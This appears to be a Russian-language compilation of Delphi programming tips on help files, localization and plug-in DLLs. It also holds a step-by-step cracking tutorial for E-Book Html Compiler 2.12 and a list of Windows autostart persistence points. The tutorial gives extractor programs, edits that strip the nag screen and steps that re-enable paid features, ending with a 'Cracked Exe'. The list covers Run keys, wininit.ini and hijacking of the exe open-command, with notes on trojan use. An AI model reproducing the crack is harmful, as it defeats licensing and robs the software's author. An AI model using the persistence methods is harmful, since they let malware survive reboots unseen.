procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if Key = vk_f1 then
  begin
    if HtmlHelpInstalled = True then
    begin
      RetCode := HH(Form1.Handle, PChar(MYHELP_FILE), HH_HELP_CONTEXT,
        ActiveControl.HelpContext);
      Key     := 0; //eat it!
    end
    else
      helpfile := 'hhtest.hlp';
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вывести главное окно справочной системы?

В 16-битных версиях справочной системы необходимо было вызывать начальное (главное) окно помощи с параметром HELP_CONTENTS в комманде HelpCommand. В 32-битном варианте это осуществляется следующим образом:

Application.HelpCommand(HELP_FINDER, 0);

Примечание : Для того, чтобы показывались "книжки" (или главные темы) - необходимо создать .CNT-файл.


Как вызвать подсказку к подсказке?

В Delphi-приложении можно вызвать помощь в пользовании системой помощи следующим образом:

Application.HelpCommand(Help_HelpOnHelp, 0);


Хелп с окошечком для поиска раздела.

procedure TForm1.HelpSearchFor;
var
  S : String;
begin
  S := '';
  Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP';
  Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S));
end;

Konstantin Kipa
2:5061/19.17
kotya@extranet.ru


Исследование E-Book Html Compiler 2.12

Автор: Wersion
WEB сайт: http://expwinprg.cjb.net/

Итак, как это было.

Достались мне замечательные туторы Iczelion'а по ассемблеру на русском и английском языках. Перевод был сделан немного в стиле Promt'а: с падежами, окончаниями и т.д. всё в порядке, а до смысла докопаться трудно. Я решил всё переделать и представить в культурном виде – в 'Single Exe' как обещают создатели E-Book Html Compiler 2.12. <-Закачал его с http://new-projects.com/booksoft/ (не ошибитесь версией) и запустил.

Что мы видим:

функциональные ограничения (Нет вкладки Security вообще)
Nag в производимом файле
Нехорошо. Начнём.

Что нужно: Tools (много):

ResHacker/Restorator/Exescope – обязательно
Windows Commander 32 – обязательно
UPX 1.07w – обязательно
HIEW 6.11 – обязательно (Ну куда же нам без него!)
Turbo Pascal for Windows 7.1 – Recommended
Ida Pro – optional
TRW 2000 – optional
Any File Analyzer – optional
Procdump32 - optional
The Customiser - Recommended
W32Dasm – optional
Brains: Среднее количество[x]

Исследование

Посмотрим Help. Есть, оказывается, 3 версии:

This is the FREEWARE Version of the HTML Compiler. This FREEWARE version is for personal use only. You are required to purchase a license for any use that results in the exchange of money or goods by using this software.
Versions available. This version - Stand-Alone HTML Compiler PRO Compiles HTML text and images (including frames) into a single stand-alone executable.
Stand-Alone HTML Compiler PRO + enables the creation of shareware ebooks and button/menu text editing.
Попытаемся сделать из Freeware -> PRO+.

Откроем программу в ResHacker'e. Ясное дело, повреждены все ресурсы. Нельзя же без того, чтобы запаковать.Если хотите, можете посмотреть на файл сквозь ваш File Analyzer. Я засунул его в Procdump32->PE Editor. Ну, это наш старый знакомый UPX.

Как полагается его распаковывать:

Засунуть в Ida Pro. Найти инструкцию popad. Посмотреть куда направляется следующий jmp xxxxxxxxx. Записать xxxxxxxxx - ImageBase как Original Entry Point. Поставить в TRW 2000 брейкпоинт на адрес инструкции popad. Пройти её и следующий jmp xxxxxxxxxx по F10. Сделать Suspend. Сдампить. Выставить OEP. (не помню, он портит Import Table или нет, если да, то восстановите)
Воспользоваться самим Upx
Проделать только в отладчике.
Я пробовал это. Только размер файла практически не увеличивается. И делает он такие нехорошие 'Single Exe',что быстро вешают систему. Автораспаковщики (e.g. GUW32) вообще производят неработоспособную бурду.

Что ж, я полез в Hiew 6.11 разбираться. Когда я указал ему пойти на адрес где-то в середине Exe'шника, он крайне удивил меня сообщением 'Section out of File'. Пришлось дойти до конца секции. Посмотрите:

Как видите, после секции начинается что-то интересное. А именно новый Exe-file. (Последовательность байт MZP).Давайте напишем программу, которая вытащит нам его. Вот она:

Program FileExtractor;

Uses WinCrt;

{Стандартные декларации}
Var  i:longint;
     FileExe,FileDump:file of byte;
     RV:byte;

begin
  Assign(FileExe,'htmlcomp.exe');
  {$I-}
  Reset(FileExe);
  {$I+}
  If IOResult<>0 then {И}
  begin
    Writeln('File not Found! Exiting...');
    Readkey;
    DoneWinCrt;
  end;
  Assign(FileDump, 'Part2.exe'); {Процедуры}
  Rewrite(FileDump);
  {Перейдём на FilePos=235520 =(39800 в шестнадцатиричной системе - см. выше}
  Seek(FileExe,235520);
  For i:=FilePos(FileExe) to (FileSize(FileExe)-1) do
  begin
    Read(FileExe,RV); {Ну и скатаем в другой файл}
    Write(FileDump,RV);
  end;
  Close(FileExe);
  Close(FileDump);
  Writeln('Done.');
  Readkey;
  DoneWinCrt;
end.

Осторожно запустите её(Windows как бы провалится в глубокую трясину и не будет реагировать на вас, но потом очнётся). Через ~15 секунд у вас будет Part2.exe Аналогично вытащим первую часть.

Program PrgExtractor;

Uses WinCrt;

Var  i:longint;
     FileExe,FileDump:file of byte;
     RV:byte;

begin
  Assign(FileExe,'htmlcomp.exe');
  {$I-}
  Reset(FileExe);
  {$I+}
  If IOResult<>0 then
  begin
    Writeln('File not Found! Exiting...');
    Readkey;
    DoneWinCrt;
  end;
  Assign(FileDump,'Part1.exe');
  Rewrite(FileDump);
  For i:=1 to 235520 do
  begin
    Read(FileExe,RV);
    Write(FileDump,RV);
  end;
  Close(FileExe);
  Close(FileDump);
  Writeln('Done.');
  Readkey;
  DoneWinCrt;
end.

У Part1.exe иконка как у исходной программы. У Part2.exe -- как у производимого программой 'Single Exe'.Теперь понятен принцип работы нашего приложения. Оно использует GetModuleFileName или ParamStr(0), выдирает из себя Part2.exe, кладёт куда надо и ещё дописывает к нему скрипт. Как это мог осуществить автор:

А1.) Как я(As File Extractor)
Б1.) Поискать последовательность байт (MZP).

Способ А1.) не подходит, потому что его нужно реализовывать, не имея готового, сжатого EXE, да и проблематично вносить изменения в программу. Остаётся способ Б1.).

Ну что, теперь оба файла распакуются нормально. Лучше всего воспользоваться способом В.). Смотрим Part2.exe в REsHaCkEr' e.

Вот наш Nag Splash Screen:

object Form3: TForm3
//................................................
  Caption = 'Free Splash'
  ClientHeight = 157
  ClientWidth = 392
//................................................
  FormStyle = fsStayOnTop
  Position = poScreenCenter
//................................................
  object Image1: TImage
//................................................
    Width = 392
    Height = 157
    Align = alClient
    Picture.Data = {много всего в хексе }
  end
  object URLLabel1: TURLLabel
    Width = 185
    Height = 16
    Caption = 'www.bigwig.net/softwaredesign'
//................................................
  end
  object URLLabel2: TURLLabel
//................................................
    Width = 205
    Height = 16
    Caption = 'www.new-projects.com/booksoft'
  end
  object Label1: TLabel
    Width = 9
    Height = 13
    Caption = 'or'
//................................................
  end
  object Timer1: TTimer
    Interval = 5000
    OnTimer = Timer1Timer
//................................................
  end
end

Легко догадаться, что Timer1 определяет длительность висения формы. Внесём необходимые изменения :-)).

object Form3: TForm3
  Caption = ''
  ClientHeight = 0
  ClientWidth = 0
  FormStyle = fsNormal
  Height = 0
  Width = 0
  object Image1: TImage
    Width = 0
    Height = 0
    Align = alNone
    Picture.Data = {убрать всё }
  end
  object URLLabel1: TURLLabel
   //................................................
   Width = 0
    Height =0
    end
  object URLLabel2: TURLLabel
    Width = 0
    Height = 0
    Caption = ''
 end
  object Label1: TLabel
    Width = 0
    Height = 0
    Caption = ''
  end
  object Timer1: TTimer
    Interval = 1
    OnTimer = Timer1Timer
  end
end

Вот и всё. Nag successfully removed! Пакуем файл через UPX. Клеим его к Part1.exe через Windows Commander 32. It works...

Теперь разберёмся с функциональными ограничениями в Part1.exe... Рассматривая скриншот из хелпа, можно заметить, что в Freeware кнопка для Securiry просто не видна.Возьмём The Customiser, исправим сиё недоразумение(для всех подобных кнопок). Тогда everything is fine. Но это надо не на один раз, а навсегда. Что-то в коде не хочется копаться..... Тем более, что тот скомпилен в Delphi 3. А Delphi кого угодно выведет своими вложенными call'ами. Давайте поюзаем ResHacker.

Вот скрытые кнопки:

object Button6: TButton
    Left = 432
    Top = 4
    Width = 33
    Height = 21
    Hint = 'Edit the E-Book Security options and Viewer Text and Graphics.'
    Caption = '>>'
    ParentShowHint = False
    ShowHint = True
    TabOrder = 30
    OnClick = Button6Click
  end
object Button7: TButton
    Left = 488
    Top = 144
    Width = 177
    Height = 25
    Hint = 'Bring up the Trial to Full Key Registration generator dialog.'
    Caption = 'Generate Registration Key'
    ParentShowHint = False
    ShowHint = True
    TabOrder = 35
    OnClick = Button7Click
  end
 object Button8: TButton
    Left = 476
    Top = 296
    Width = 201
    Height = 25
    Hint = 'Bring up the Viewer Button Graphic/Text and Menu Text editor.'
    Caption = 'Button Images/Text and Menu Text'
    ParentShowHint = False
    ShowHint = True
    TabOrder = 36
    OnClick = Button8Click
  end

Да, нехорошо. Кнопки деактивируются динамически. Раз автор(Steve Seymor) так к нам относится, то и мы отнесёмся к нему соответственно. Сделаем копии всех этих кнопок и изменим немного. e. g. object Button8: TButton->object Mutton8: TButton Можете зайти в TFORM2 и поменять там чего-нибудь :-)). Запустим программу. Wow! Никаких ограничений! Пакуем через UPX . Склеиваем с Part2.exe.... N.B. наш файл меньше исходного !!! N.B. Мы не использовали ни дизассемблер, ни отладчик!!!

OK, всё работает! Засуньте Cracked Exe в архив и добавьте *.nfo;

Greates to:авторам всех использованных инструментов, Dr. Golova.

TNT Team, которая распространяет свой тормознутый неработающий загрузчик для этого продукта, Must Die.

Файлы, использованные при исследовании:
fextract.zip
prgextract.zip

Created by Wersion
E-mail: wcrkgroup2002@mail.ru
Site: http://expwinprg.cjb.net/
Вопросы/Пожелания/Угрозы/Комментарии -- приветствуются.

Взято с http://delphiworld.narod.ru


Как привязать файлы помощи в Delphi

Вот как это делаю я:

1. Сначала создайте файл помощи. Откройте меню "Project/Options...", щелкните на закладке "Application" и введите путь к файлу помощи в строке "Help File". Или же вы можете сделать это непосредственно во время выполнения приложения, указав соответственное значение свойству Application.HelpFile.
2. Затем вам необходимо присвоить значения свойству "HelpContext" у необходимых элементов управления. В нашем случае необходимо задать значение свойству "HelpContext" у кнопки "Help", обычно расположенной на вспомогательных окнах или диалогах.
3. Наконец, в обработчике события нажатия на кнопку вызовите метод Application.HelpContext. Для нашей кнопки "Help" обработчик события OnClick мог бы выглядеть примерно так:

procedure TForm1.btnHelpClick(Sender: TObject);
begin
  Application.HelpContext(TButton(Sender).HelpContext);
end;

Это все!

Вы также можете вызывать другие методы Application для вывода файлов помощи, такие, как Application.HelpCommand и Application.HelpJump.

Взято с http://delphiworld.narod.ru


Оглавление файлов помощи (Help Files Contents)

Используйте HELP_FINDER, если "текущая закладка" не является закладкой 'Index' или 'Find'. HELP_FINDER открывает окно Help Topics, но не меняет закладку с оглавлением (Contents), если текущая закладка - 'Index' или 'Find'.

Попробуйте следующий код:

Function L1InvokeHelpMacro(const i_strMacro: String; const i_bForceFile:
  Boolean): Boolean;
Begin
  if i_bForceFile then
    Application.HelpCommand(HELP_FORCEFILE, 0);
  Result:=Application.HelpCommand(HELP_COMMAND,
    Longint(PChar(i_strMacro))); //Приведение типа PChar здесь необязательно.
End;

Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Index':

L1InvokeHelpMacro('Search()', True);

Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Contents':

L1InvokeHelpMacro('Contents()', True);

Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Find' (только для WinHelp 4):

L1InvokeHelpMacro('Find()', True);

Взято с http://delphiworld.narod.ru


Вопросы локализации програм

Cодержание раздела:

Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package)?


Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package)?

1) Вынимаете pесуpсы из этого модуля.
2) Пеpеводите их на дpугой язык. (напpимеp pусский)
3) Создаете в Delphi свой пpоект Dll-ки (с именем того модуля, из котоpого вы
вынули pесуpсы, напpимеp vcl30), в котоpый включаете _пеpеведенные_
pесуpсы:
{$R vcl30rus.res}
4) Собиpаете все это.
5) Пеpеименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System.
Если вы хотите, пpиложение "говоpило" по pусски только тогда, когда в
pегиональных установках стоит Russia - то тогда это все.
Если же вы хотите, чтобы ваше пpиложение _всегда_ поднимало pусские pесуpсы,
то необходимо сделать следующее добавление в Registry:
HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales
"X:\MyProject\MyApp.exe" = "rus"

Тепеpь, когда ваше пpиложение будет поднимать pakages, то всегда будут бpаться
pусские pесуpсы. Дpугие пpиложения, напpимеp Delphi - это не затpонет.
Таким обpазом можно заменять даже DFM-ки из пpоекта.

Более подpобно об этом - см Help - Index - Localizing...

Alexander Simonenko .alex@protec.kiev.ua.(2:463/249)


Разработка Plug in

Cодержание раздела:

Принцип создания плугинов в Delphi
Как написать свой Plug in


Принцип создания плугинов в Delphi

Иногда нужные мысли приходят после того, как программа сдана заказчику. Для этого придумали плугины. Плугины - это простая dll библиотека, в которой обязательно присутствует ряд процедур и функций, которые выполняют определенные разработчиком действия, например (из моей практики) : function PluginType : PChar; - функция, определяющая назначение плугина. function PluginName : PChar; - функция, которая возвращает название плугина. Это название будет отоброжаться в меню. function PluginExec(AObject:ТТип) : boolean; - главный обработчик, выполняет определённые действия и возвращает TRUE; и ещё, я делал res файл с небольшим битмапом и компилировал его вместе с плугином, который отображался в меню соответствующего плугина. Откомпилировать res фaйл можно так: 1. создайте файл с расширением *.rc 2. напишите в нём : bitmap RCDATA LOADONCALL 1.bmp где bitmap - это идентификатор ресурса RCDATA LOADONCALL - тип и параметр 1.bmp - имя локального файла для кампиляций 3. откомпилируйте этот файл программой brcc32.exe, лежащей в папке ...\Delphi5\BIN\ .

Загрузка плугина

Перейдём к теоретической части.
раз плугин это dll значит её можно подгрузить следующими способами:
1. Прищипыванием её к программе!
      function PluginType : PChar; external 'myplg.dll';
//в таком случае dll должна обязательно лежать возле exe и мы не можем передать
туда конкретное имя! не делать же все плугины одного имени! это нам не подходит.
Программа просто не загрузится без этого файла! Выдаст сообщение об ошибке. Этот способ
может подойти для поддержки обновления вашей программы!

2. Динамический
это оэночает, что мы грузим её так, как нам надо! Вот пример:

   var
    PluginType: function: PChar; // объявляем процедурный тип функции из плугина
    PlugHandle: THandle; //объявляем переменную типа хендл в которую мы занесём хендл плугина

procedure Button1Click(Sender: TObject);
 begin
  PlugHandle := LoadLibrary('MYplg.DLL'); //грузим плугин
  if PlugHandle <> 0  then //Получилось или нет??
   begin
    @PluginType := GetProcAddress(plugHandle,'Plugintype'); // ищем функцию в dll
    if @PluginType <> nil then ShowMessage(PluginType); //вызываем функцию
   end;
  FreeLibrary(LibHandle);//освобождаем библиотеку
end;

Вот этот способ больше подходит для построения плугинов!

Функции:
 function LoadLibrary(lpLibFileName : Pchar):THandle;
   //как вы поняли  загружает dll и возвращает её хендл
 function GetProcAddress(Module: THandle; ProcName: PChar): TFarProc
   // пытается найти обработчик в переданной ей хендле dll,
 при успешном выполнении возвращает указатель обработчика.
 function FreeLibrary(LibModule: THandle); //освобождает память, занитую dll

Самое сложное в построений плугинов, это не реализация всего кода, а придусмотрение всего, для чего в программе могут они понадобиться! То есть придусмотреть все возможные типы плугинов! А это не так просто.

Вот полноценный пример реализации простой программы для поддержки плугинов...

Исходный текст модуля программы:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, menus,
  Grids, DBGrids;

type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    N1231: TMenuItem; //меню,  которое будет содержать ссылки на плугины
    procedure FormCreate(Sender: TObject);
  private
   PlugList : TStringList; //лист, в котором мы будем держать имена файлов плугинов
   procedure LoadPlug(fileName : string); //Процедура загрузки плугина
   procedure PlugClick(sender : TObject);
   //Процедура инициализации и выполнения плугина
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

Процедура загрузки плугина. Здесь мы загружаем, вносим имя dll в список
и создаём для него пункт меню; загружаем из dll картинку для пункта меню

procedure TForm1.LoadPlug(fileName: string);
 var
  PlugName : function : PChar;
   //Объявление функции, которая будет возвращать имя плугина
  item : TMenuItem;  //Новый пункт меню
  handle : THandle;  //Хендл dll
  res :TResourceStream;  //Объект, с помощью которого мы загрузим картинку из dll
begin
  item := TMenuItem.create(mainMenu1);  //Создаём новый пункт меню
  handle :=  LoadLibrary(Pchar(FileName));  //загружаем dll
  if handle <> 0 then  //Если удачно, то идём дальше...
   begin
    @PlugName := GetProcAddress(handle,'PluginName');  //грузим процедуру
    if @PlugName <> nil then item.caption := PlugName else
   //Если всё прошло, идём дальше...
     begin
      ShowMessage('dll not identifi ');  //Иначе, выдаём сообщение об ошибке
      Exit;  //Обрываем процедуру
     end;
   PlugList.Add(FileName);  //Добавляем название dll
  res:= TResourceStream.Create(handle,'bitmap',rt_rcdata);  //Загружаем ресурс из dll
  res.saveToFile('temp.bmp'); res.free;  //Сохраняем в файл
  item.Bitmap.LoadFromFile('Temp.bmp');  //Загружаем в пункт меню
  FreeLibrary(handle);  //Уничтожаем dll
  item.onClick:=PlugClick;  //Даём ссылку на обработчик
  Mainmenu1.items[0].add(item);  //Добавляем пункт меню
 end;
end;

Процедура выполнения плугина. Здесь мы загружаем, узнаём тип и выполняем

procedure TForm1.PlugClick(sender: TObject);
 var
  PlugExec : function(AObject : TObject): boolean;
   //Объявление функции, которая будет выполнять плугин
  PlugType : function: PChar;  //Объявление функции, которая будет возвращать тип плугина
  FileName : string;  //Имя dll
  handle   : Thandle;  //Хендл dll
begin
 with (sender as TmenuItem) do  filename:= plugList.Strings[MenuIndex];
   //Получаем имя dll
 handle := LoadLibrary(Pchar(FileName));  //Загружаем dll
 if handle <> 0 then  //Если всё в порядке, то идём дальше
  begin
    //Загружаем функции
   @plugExec := GetProcAddress(handle,'PluginExec');
   @plugType := GetProcAddress(handle,'PluginType');
    //А теперь, в зависимости от типа, передаём нужный ей параметр...
   if PlugType = 'FORM' then PlugExec(Form1) else
   //Если плугин для формы, то передаём форму
   if PlugType = 'CANVAS' then PlugExec(Canvas) else
   //Если плугин для канвы, то передаём канву
   if PlugType = 'MENU' then PlugExec(MainMenu1) else
   //Если плугин для меню, то передаём меню
   if PlugType = 'BRUSH' then PlugExec(Canvas.brush) else
   //Если плугин для заливки, то передаём заливку
   if PlugType = 'NIL' then PlugExec(nil);
   //Если плугину ни чего не нужно, то ни чего не передаём
  end;
 FreeLibrary(handle);    //Уничтожаем dll
end;

procedure TForm1.FormCreate(Sender: TObject);
var
 SearchRec : TSearchRec; //Запись для поиска
begin
 plugList:=TStringList.create; //Создаём запись для имён dll'ок
 if FindFirst('*.dll',faAnyFile, SearchRec) = 0 then //ищем первый файл
  begin
   LoadPlug(SearchRec.name); //Загружаем первый найденный файл
   while FindNext(SearchRec) = 0 do LoadPlug(SearchRec.name);
   //Загружаем последующий
   FindClose(SearchRec); //Закрываем поиск
  end;
  //Левые параметры
  canvas.Font.pitch := fpFixed;
  canvas.Font.Size := 20;
  canvas.Font.Style:= [fsBold];
end;

end.

здесь написан простой исходный текст dll, то есть нашего плугина
Он обязательно возвращает название, тип и выполняет свои задачи

library plug;
uses
  SysUtils, graphics, Classes, windows;

{$R bmp.RES}

function PluginType : Pchar;
 begin
  Plugintype := 'CANVAS';  //Мы указали реакцию на этот тип
 end;

function PluginName:Pchar;
 begin
  PluginName := 'Canvas painter';
   //Вот оно, название плугина. Эта строчка будет в менюшке
 end;

Функция выполнения плугина! Здесь мы рисуем на переданной канве
анимационную строку.

function PluginExec(Canvas:TCanvas):Boolean;
 var
  X     : integer;
  I     : integer;
  Z     : byte;
  S     : string;
  color : integer;
  proz  : integer;
begin
color := 10;
proz  :=0;
S:= 'hello всем это из плугина ля -- ля';
for Z:=0 to 200 do
begin
 proz:=proz+2;
 X:= 0;
 for I:=1 to length(S) do
  begin
   X:=X + 20;
   Canvas.TextOut(X,50,S[i]);
   color  := color+X*2+Random(Color);
   canvas.Font.Color := color+X*2;
   canvas.font.color := 10;
   canvas.TextOut(10,100,'execute of '+inttostr(proz div 4) + '%');
   canvas.Font.Color := color+X*2;
   sleep(2);
  end;
end;
 PluginExec:=True;
end;

exports
 PluginType, PluginName, PluginExec;

end.

Пару советов :
1. Не оставляйте у своих плугинов расширение *.dll, это не катит. А вот сделайте, например *.plu . Просто в исходном тексте плугина напишите {$E plu} Ну и в исходном тексте программы ищите не Dll, а уже plu.

2. Когда вы сдаёте программу, напишите к ней уже готовых несколько плугинов, что бы юзеру было интересно искать новые.
3. Сделайте поддержку обновления через интернет. То есть программа заходит на ваш сервер, узнаёт, есть ли новые плугины или нет, если есть - то она их загружает. Этим вы увеличите спрос своей программы и конечно трафик своего сайта!

Взято с сайта www.emanual.ru


Как написать свой Plug in

Типовая задача - разрабатывается некая задача и при этом

Некоторые ее компоненты могут не инсталлироваться баз ущерба для работоспособности
Некоторые компоненты предполагается изготавливать впоследствии и рассылать пользователям
Некоторые компоненты могут разрабатываться другими программистами и распространяться независимо от программы
.....
Классические примеры - фильтры для совместимости по форматам файлов с другими программами, некоторые расширения и дополнительные возможности. Примеры и моей практики - приведу парочку

Программа управления программатором ПЗУ. Заранее неизвестно, с каким железом она будет работать и как им управлять. Необходимо было дать возможнось разработчику железа написать для него поддержку
Программа печати отчетов. Она должна печатать в любой кодировке на любой принтере, в т.ч. и экзотическом типа АЦПУ. Заранее неизвестно, какие принтеры будуп применяться совместно с ней и как ими управлять (известно только одно - драйверов под них нет и не будет) - переделывать программу под каждый принтер - неинтересно ...
Итак, все это можно реализовать в DLL, однако обычное ее подключение приведет к тому, что при запуске программа будет искать все подключенне к ней DLL и в случае отсутствия хотя-бы одной откажется запускаться. Это не приемлемо, но к счастю есть возможность и весьма удоюный набор сервисных функций для динамической загрузки, использования и выгрузки DLL.

Пример (приложение имеет одно окно, на нем кнопка):

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
  public
  end;
 // Тип "процедура". Естественно, можно определит типы
 // "функция" или "функция с параметрами" ...
 TDllProc = procedure;

var
  Form1: TForm1;
  DllProcPtr  : TDllProc;
  LibInstance : HMODULE; // Логический номер модуля DLL

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
 // Проверим, загружена ли DLL
 if LibInstance=0 then Begin
  // Не загружена, попробуем загрузить
  LibInstance := LoadLibrary('plug_in.dll');
  // Проверим, успешна ли загрузка (LibInstance=0 - неуспешно)
  If LibInstance=0 then Begin
   ShowMessage('Ошибка загрузки библиотеки plug_in.dll');
   exit;
  end;
  // Ищем функцию по ее имени (имя должно точно совпадать)
  DllProcPtr := TDllProc(GetProcAddress(LibInstance,'MyProc'));
  // Проверим, нашли ли (если нашли, то Assigned вернет true)
  if not Assigned(DllProcPtr) then Begin
   // Не нашли - выгружаем DLL из памяти
   FreeLibrary(LibInstance);
   LibInstance:=0;
   ShowMessage('Ошибка: функция MyProc не найдена');
   exit;
  end;
  // Непосредственно вызов функции
  DllProcPtr;
  // Выгрузка библиотеки
  FreeLibrary(LibInstance);
  LibInstance:=0;
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 DllProcPtr:=nil;
 LibInstance:=0;
end;

end.

Естественно, в реальной задаче имеет смысл создать свой класс, который при инициализации будет загружать библиотеку, а при уничтожении - выгружать. Кроме того, он должен иметь функцию типа "Перезагрузить библиотеку", которая будет выгружать текущую и загружать новую. DLL - обычная, естественно может иметь неограниченное количество процедур и функций.

Особенности:

Пока библиотека загружена, ее файл нельзя ни удалить, ни переименовать. Поэтому при возникновении ошибок следует выгружать библиотеку, иначе пользователь не сможет ее заменит (без перезагрузки ПК).
Обычно имеет смысл создать ряд функции типа GetInfo, GetAutor, GetCopyRight ..., чтобы вызывающая программа могла получить информацию о назначении данной DLL
Расширение DLL не является обязательным, поэтому можно применять свои расширения (например DRV)

Источник: http://dmitry9.nm.ru/info/


Автозагрузка програм (как и откуда?)

По материалам: http://www.tlsecurity.net/auto.html

1. Autostart folder

C:\windows\start menu\programs\startup {english}

This Autostart Directory is saved in :

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
Startup="C:\windows\start menu\programs\startup"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
Startup="C:\windows\start menu\programs\startup"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\User Shell Folders]
"Common Startup"="C:\windows\start menu\programs\startup"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders]
"Common Startup"="C:\windows\start menu\programs\startup"
By setting it to anything other then C:\windows\start menu\programs\startup will lead to execution of ALL and EVERY executable inside set directory.

2. Win.ini

[windows]
load=file.exe
run=file.exe

3. System.ini
[boot]
Shell=Explorer.exe file.exe

4. c:\windows\winstart.bat
'Note behaves like an usual BAT file. Used for copying deleting specific files. Autostarts everytime.

5. Registry

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
"Whatever"="c:\runfolder\program.exe"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
"Whatever"="c:\runfolder\program.exe"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"Whatever"="c:\runfolder\program.exe"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"Whatever"="c:\runfolder\program.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\000x]
"RunMyApp"="||notepad.exe"
The format is: "DllFileName|FunctionName|CommandLineArguements" -or- "||command parameters"

Microsoft Windows 98 Microsoft
Windows 2000 Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server
Microsoft Windows Millennium Edition

http://support.microsoft.com/support/kb/articles/Q232/5/09.ASP

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"Whatever"="c:\runfolder\program.exe"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"Whatever"="c:\runfolder\program.exe"

6. c:\windows\wininit.ini
'Often Used by Setup-Programs when the file exists it is run ONCE and then is deleted by windows
Example content of wininit.ini :

[Rename]
NUL=c:\windows\picture.exe

' This example sends c:\windows\picture.exe to NUL, which means that it is being deleted. This requires no interactivity with the user and runs totaly stealth.

7. Autoexec.bat
Starts everytime at Dos Level.

8. Registry Shell Spawning

[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="%1" %* [HKEY_CLASSES_ROOT\piffile\shell\open\command] @="%1" %*

[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @= "%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="%1" %*

The key should have a value of Value <"%1" %*>, if this is changed to <server.exe "%1 %*">, the server.exe is executed EVERYTIME an exe/pif/com/bat/hta is executed.

Known as Unkown Starting Method and is currently used by Subseven.

9. Icq Inet

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]
"Path"="test.exe"
"Startup"="c:\\test"
"Parameters"=""
"Enable"="Yes"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\
This key includes all the APPS which are executed IF ICQNET Detects an Internet Connection.

10. Explorer start-up

Windows 95,98,ME
Explorer.exe ist started through a system.ini entry, the entry itself contains no path information so if c:\explorer.exe exist it will be started instead of c:\$winpath\explorer.exe.

Windows NT/2000
The Windows Shell is the familiar desktop that's used for interacting with Windows. During system startup, Windows NT 4.0 and Windows 2000 consult the "Shell" registry entry, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell, to determine the name of the executable that should be loaded as the Shell.
By default, this value specifies Explorer.exe.

The problem has to do with the search order that occurs when system startup is in process. Whenever a registry entry specifies the name of a code module, but does it using a relative path, Windows initiates a search process to find the code. The search order is as follows:

Search the current directory.
If the code isn't found, search the directories specified in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path, in the order in which they are specified.
If the code isn't found, search the directories specified in HKEY_CURRENT_USER\Environment\Path, in the order in which they are specified.
More info : [URL=http://www.microsoft.com/technet/security/bulletin/fq00-052.asp]http://www.microsoft.com/technet/security/bulletin/fq00-052.asp[/URL]
Patch : [URL=http://www.microsoft.com/technet/support/kb.asp?ID=269049]http://www.microsoft.com/technet/support/kb.asp?ID=269049[/URL]
General :
If a trojan installs itself as c:\explorer no run keys or other start-up entries are needed. If c:\explorer.exe is a corrupted file the user will be locked out of the system. Affects all windows version as of today.

10. Active-X Component
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\KeyName
StubPath=C:\PathToFile\Filename.exe
Believe it or not, this does start filename.exe BEFORE the shell and any other Program normaly started over the Run Keys.

Misc Information

[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] @="Scrap object"
"NeverShowExt"=""

